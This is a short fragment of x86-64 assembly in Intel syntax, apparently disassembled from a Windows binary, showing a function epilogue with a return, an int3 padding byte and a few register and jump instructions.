cmp dword [rbp + 0x20], 0
je 0x140025e70
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
int3
xor r8d, r8d
xor edx, edx
jmp 0x140025dbc